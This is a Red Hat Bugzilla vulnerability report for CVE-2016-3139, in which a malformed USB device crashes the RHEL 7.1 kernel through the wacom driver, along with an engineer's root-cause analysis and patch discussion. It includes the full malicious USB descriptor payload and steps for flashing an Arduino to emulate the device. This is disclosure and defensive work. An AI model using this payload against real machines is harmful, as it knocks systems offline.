RHEL Engineering is moving the tracking of its product development work on RHEL 6 through RHEL 9 to Red Hat Jira (issues.redhat.com). If you're a Red Hat customer, please continue to file support cases via the Red Hat customer portal. If you're not, please head to the "RHEL project" in Red Hat Jira and file new tickets here. Individual Bugzilla bugs in the statuses "NEW", "ASSIGNED", and "POST" are being migrated throughout September 2023. Bugs of Red Hat partners with an assigned Engineering Partner Manager (EPM) are migrated in late September as per pre-agreed dates. Bugs against components "kernel", "kernel-rt", and "kpatch" are only migrated if still in "NEW" or "ASSIGNED". If you cannot log in to RH Jira, please consult article #7032570. That failing, please send an e-mail to the RH Jira admins at rh-issues@redhat.com to troubleshoot your issue as a user management inquiry. The email creates a ServiceNow ticket with Red Hat. Individual Bugzilla bugs that are migrated will be moved to status "CLOSED", resolution "MIGRATED", and set with "MigratedToJIRA" in "Keywords". The link to the successor Jira issue will be found under "Links", have a little "two-footprint" icon next to it, and direct you to the "RHEL project" in Red Hat Jira (issue links are of type "https://issues.redhat.com/browse/RHEL-XXXX", where "X" is a digit). This same link will be available in a blue banner at the top of the page informing you that that bug has been migrated.
Bug 1283377 - CVE-2016-3139 Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (wacom driver) [local-DoS] Bug2
Summary: CVE-2016-3139 Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on ...
Alias: None
Product: Red Hat Enterprise Linux 7
Classification: Red Hat
Component: kernel
Version: 7.1
Hardware: Unspecified
OS: Unspecified
Target Milestone: rc
: 7.3
Assignee: Don Zickus
QA Contact: Mike Gahagan
Depends On:
Blocks: CVE-2016-3139
TreeView+ depends on / blocked
Reported: 2015-11-18 20:38 UTC by Ralf Spenneberg
Modified: 2016-11-08 16:02 UTC (History)
2 users (show)

Fixed In Version:
Doc Type: Release Note
Doc Text:
Clone Of:
Last Closed: 2016-03-15 10:42:05 UTC
Target Upstream Version:

Attachments (Terms of Use)
vUSBf Payload (200 bytes, text/plain)
2015-11-18 20:41 UTC, Ralf Spenneberg
no flags Details
Stacktrace (4.56 KB, text/plain)
2015-11-18 20:42 UTC, Ralf Spenneberg
no flags Details
Arduino firmware demonstrating the bug (16.66 KB, text/plain)
2015-11-18 20:43 UTC, Ralf Spenneberg
no flags Details
wacom-null-deref.rhel7.patch (1.20 KB, patch)
2015-11-26 01:36 UTC, Vladis Dronov
no flags Details | Diff

Description Ralf Spenneberg 2015-11-18 20:38:55 UTC
Description of problem:
Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (wacom driver) [local-DoS]

Version-Release number of selected component (if applicable):
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 

How reproducible:

OpenSource Security Ralf Spenneberg
Am Bahnhof 3-5
48565 Steinfurt

Date: November 12th, 2015
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) 
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (wacom driver) [local-DoS]
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 
(for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes when presented a buggy USB 
device which requires the wacom driver.
Detailed product description
We confirmed the bug on the following system:
RHEL 7.1
Kernel = 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes 

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

 ######### PAYLOAD 1 #########
[*] Device-Descriptor
  bLength:		0x12
  bDescriptorType:	0x1
  bcdUSB:		0x200
  bDeviceClass:		0x3
  bDeviceSubClass:	0x0
  bDeviceProtocol:	0x0
  bMaxPacketSize:	0x40
  idVendor:		0x56a
  idProduct:		0x90
  bcdDevice:		0x100
  iManufacturer:	0x1
  iProduct:		0x2
  iSerialNumbers:	0x3
  bNumConfigurations:	0x1

This is the configuration descriptor containing the malicious value for 
bNumEndpoints causing the crash. A zero value for bNumEndpoints crashes the system.

	[*] Configuration-Descriptor
	  bLength:		0x9
	  bDescriptorType:	0x2
	  wTotalLength:		0x27
	  bNumInterfaces:	0x1
	  bConfigurationValue:	0x1
	  iConfiguration:	0x0
	  bmAttributes:		0x0
	  bMaxPower:		0x31
		[*] Interface-Descriptor
		  bLength:		0x9
		  bDescriptorType:	0x4
		  bInterfaceNumber:	0x0
		  bAlternateSetting:	0x0
		  bNumEndpoints:	0x0
		  bInterfaceClass:	0x0
		  bInterfaceSubClass:	0x0
		  bInterfaceProtocol:	0x0
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x81  
			  bmAttribut:		0x3   
			  wMaxPacketSize:	0x404
			  bInterval:		0xc
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x1   
			  bmAttribut:		0x2   
			  wMaxPacketSize:	0x4
			  bInterval:		0xc
			[*] Endpoint-Descriptor
			  bLength:		0x7
			  bDescriptorType:	0x5
			  bEndpointAddress:	0x82  
			  bmAttribut:		0x2   
			  wMaxPacketSize:	0x4
			  bInterval:		0xc

The wacom driver assumes that there will be at least one endpoint-descriptor.
If the interface-descriptor contains a zero-value for bNumEndpoints or no endpoint-descriptor is provided, the driver tries to dereference a null-pointer and the kernel crashes:

$ nm wacom.ko.debug | grep wacom_probe
00000000000054a0 t wacom_probe
$ addr2line -e wacom.ko.debug 0x5756

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/input/tablet/wacom-sys.c)
597	error = usb_get_extra_descriptor(interface, HID_DEVICET_HID, &hid_desc);
598	if (error) {
599		error = usb_get_extra_descriptor(&interface->endpoint[0], /* possible null-pointer dereference */
600						 HID_DEVICET_REPORT, &hid_desc);

Proof of Concept:
1) The bug can be reproduced using USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo). 
The attached vUSBf-obj file contains the payload. Please let us know if you would like to use the Facedancer board. 
In such case, we could also provide a patched version of vUSBf which allows to reproduce vUSBf-Payloads using the Facedancer board.
2) For a proof of concept we are providing also an Arduino firmware file. Just flash it 
on Arduino Leonardo and plug it into any RHEL machine. The Arduino will 
emulate the defective USB device.

   avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex

The file binary.hex has been attached to this bug report.
To prevent automated sending of payloads, use a jumper to connect port D3 and 

Severity and Ease of Exploitation
The security weakness can be easily exploited. Using our Arduino firmware only 
physical access to the system is required. 

Additional info:
Stacktrace, vUSBf-Payload, Arduino-Firmware attached.

Please assign a CVE for this issue since this is a local DoS of the targeted system. 
CVSS 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Comment 1 Ralf Spenneberg 2015-11-18 20:41:09 UTC
Created attachment 1096290 [details]
vUSBf Payload

Comment 2 Ralf Spenneberg 2015-11-18 20:42:03 UTC
Created attachment 1096291 [details]

Comment 3 Ralf Spenneberg 2015-11-18 20:43:02 UTC
Created attachment 1096293 [details]
Arduino firmware demonstrating the bug

Comment 4 Vladis Dronov 2015-11-26 01:35:50 UTC
This bz and bz1283375 are related, as both are caused by the same issue, zero endpoints, while the driver expects at least one endpoint to be present. The bug is that the driver does not check that at least one endpoint is present and accesses the first endpoint causing null-ptr deref. Crashes in these 2 bzs are in the different places because of the different execution paths.

[ drivers/input/tablet/wacom_sys.c ]
static int wacom_probe(struct usb_interface *intf, const struct usb_device_id *id)
{       ...
        endpoint = &intf->cur_altsetting->endpoint[0].desc; <<< This is NULL
        error = wacom_retrieve_hid_descriptor(intf, features);

static int wacom_retrieve_hid_descriptor(struct usb_interface *intf ...
{       ...
        struct usb_host_interface *interface = intf->cur_altsetting;
        error = usb_get_extra_descriptor(interface, HID_DEVICET_HID, &hid_desc);
        if (error) {
                error = usb_get_extra_descriptor(&interface->endpoint[0], <<< This is #define
                HID_DEVICET_REPORT, &hid_desc);

#define usb_get_extra_descriptor(ifpoint, type, ptr) \
__usb_get_extra_descriptor((ifpoint)->extra, (ifpoint)->extralen, \  <<< rdi rsi
type, (void **)ptr)                                                  <<< rdx rcx

  1e:   49 8b 46 18          	mov    0x18(%r14),%rax
  22:   48 8d 4d c8          	lea    -0x38(%rbp),%rcx
  26:   ba 22 00 00 00       	mov    $0x22,%edx       <<< HID_DEVICET_REPORT
>>2b:*  8b 70 38             	mov    0x38(%rax),%esi  <<< endpoint->extralen *BOOM*
  2e:   48 8b 78 30          	mov    0x30(%rax),%rdi  <<< endpoint->extra
  32:   e8 ae 2c 07 e1       	callq  0xffffffffe1072ce5

The upstream driver was rebased and does not have this bug, so this bug is rhel7-only. The fix is to check the number of endpoints (as it was done in [aiptek] driver fix at http://www.spinics.net/lists/linux-input/msg42294.html, [aiptek] was based on [wacom]). Rhel7 patch follows.

Comment 5 Vladis Dronov 2015-11-26 01:36:51 UTC
Created attachment 1099055 [details]

Comment 6 Adam Mariš 2016-03-09 16:24:48 UTC
Public via:


Comment 7 Vladis Dronov 2016-03-11 14:14:17 UTC
CVEID was requested at: http://seclists.org/oss-sec/2016/q1/606

Comment 8 Vladis Dronov 2016-03-15 08:23:46 UTC
CVE-2016-3139 was assigned to this flaw, please, use it in the related communications, see http://seclists.org/oss-sec/2016/q1/623.

Comment 9 Vladis Dronov 2016-03-15 10:42:05 UTC
Thank you for reporting this flaw.

The Product Security has rated this flaw as having low security impact (bz1316993), so the patch currently is not planned to be added to the RHEL source trees. The upstream and Fedora is rebased, so the fix may get to the RHEL trees at the next USB subsystem code rebase.

Note You need to log in before you can comment on or make changes to this bug.